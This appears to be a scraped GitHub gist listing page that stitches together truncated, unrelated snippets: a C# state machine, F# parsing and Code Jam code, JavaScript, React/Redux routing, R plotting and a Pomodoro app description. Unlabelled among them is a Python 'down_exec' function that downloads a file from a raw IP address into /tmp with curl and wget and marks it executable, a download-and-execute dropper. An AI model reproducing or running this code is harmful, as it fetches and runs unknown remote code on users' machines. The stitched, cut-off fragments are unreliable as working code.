Skip to content

Instantly share code, notes, and snippets.

@liammclennan
liammclennan / gist:8949046
Last active January 23, 2017 05:18
Simple, re-useable state machine (c#)
// this script works in linqpad (https://www.linqpad.net/)
void Main()
{
var day = new DaysRevisions();
day.State.Dump();
day.State.To(LifecycleState.Draft, "me");
day.State.Dump();
day.State.To(LifecycleState.Historical, "me");
}
import os
def down_exec():
cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb'
p = os.system(cmd)
cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb'
p = os.system(cmd)
cmd = 'chmod 0777 /tmp/kb'
p = os.system(cmd)
cmd = 'chmod u+x /tmp/kb'
// https://code.google.com/codejam/contest/351101/dashboard#s=p0
open System.Linq
type Case = { c: int; i: int; ps: int[]; index: int[] }
let readFile filename =
System.IO.File.ReadLines(filename)
let transpose arr =
let t = [|for a in [0..Array.max arr] -> -1|]
@liammclennan
liammclennan / blog_building_blog.md
Created May 28, 2012 21:20
Building my blog - a new website with node.js and geddy
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsecCS.dll"
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsec.dll"
open FParsec
let parsesA = pchar 'a'
run parsesA "abcdefg"
run (many anyChar) "abcde fg"
// selectGame is a function that builds the data model for a game, by randomly selecting a set of books and a correct answer.
var selectGame = function () {
// `this` within selectGame is the array `data`. `reduce` is used to flatten the set of books into a single array.
// `_.shuffle` randomizes the list of books.
// `slice` selects the first 4 books.
// `books` is then 4 randomly selected books.
var books = _.shuffle(this.reduce(function (p, c, i) {
return p.concat(c.books);
}, [])).slice(0,4);
@liammclennan
liammclennan / gist:e61fe313a92eaf88df7a298e5e9ab219
Last active April 13, 2016 01:46
Pure React components with Redux and react-router
store.subscribe(() => {
ReactDOM.render(
<Router history={browserHistory}>
// Note the use of onEnter event
<Route path="/chunk/:id" onEnter={handleEnterChunk} component={attachState(ChunkPage.Chunk,'chunk')}/>
</Router>)
});
// read route params (state.params) and do required state changes
function handleEnterChunk(state,replace,callback) {
@liammclennan
liammclennan / gist:51749b8217cc21962931696a00715162
Last active April 8, 2016 02:32
Draw a normal probability distribution
mean=132; sd=13
lb=105; ub=159
x <- seq(-4,4,length=100)*sd + mean
hx <- dnorm(x,mean,sd)
plot(x, hx, type="n", xlab="Duration (days)", ylab="",
main="Duration Probability Distribution", axes=FALSE)
i <- x >= lb & x <= ub

Many people like the pomodoro technique because it helps them focus intently on tasks. It is also helpful for preventing interruptions. If your team, and extended team, know that you are in the middle of a pomodoro then they know to avoid interrupting you. But how do you communicate that you have a pomodoro in progress?

Team Pomodoro combines a tradtional pomodoro timer and a dashboard showing the status of each team member's pomodoros. A person can see at a glance who is currently available and when each person will be available.

Team Pomodoro screen shot

Additional Features

  • Add features for messaging team members. Choice of
@liammclennan
liammclennan / gist:8020631
Created December 18, 2013 11:09
Hexagonal Architecture. No ORM.
module domain =
type post = { id: Guid; title: string; content: string; author_id: Guid }
type author = { id: Guid; name: string; }
type crudAction = Create | Update | Delete
type change = { action: crudAction; entity: obj; id: Guid }
let addPost (p:post) : seq<change> =
// do stuff
seq { yield {action = Create; entity = box p; id = p.id} }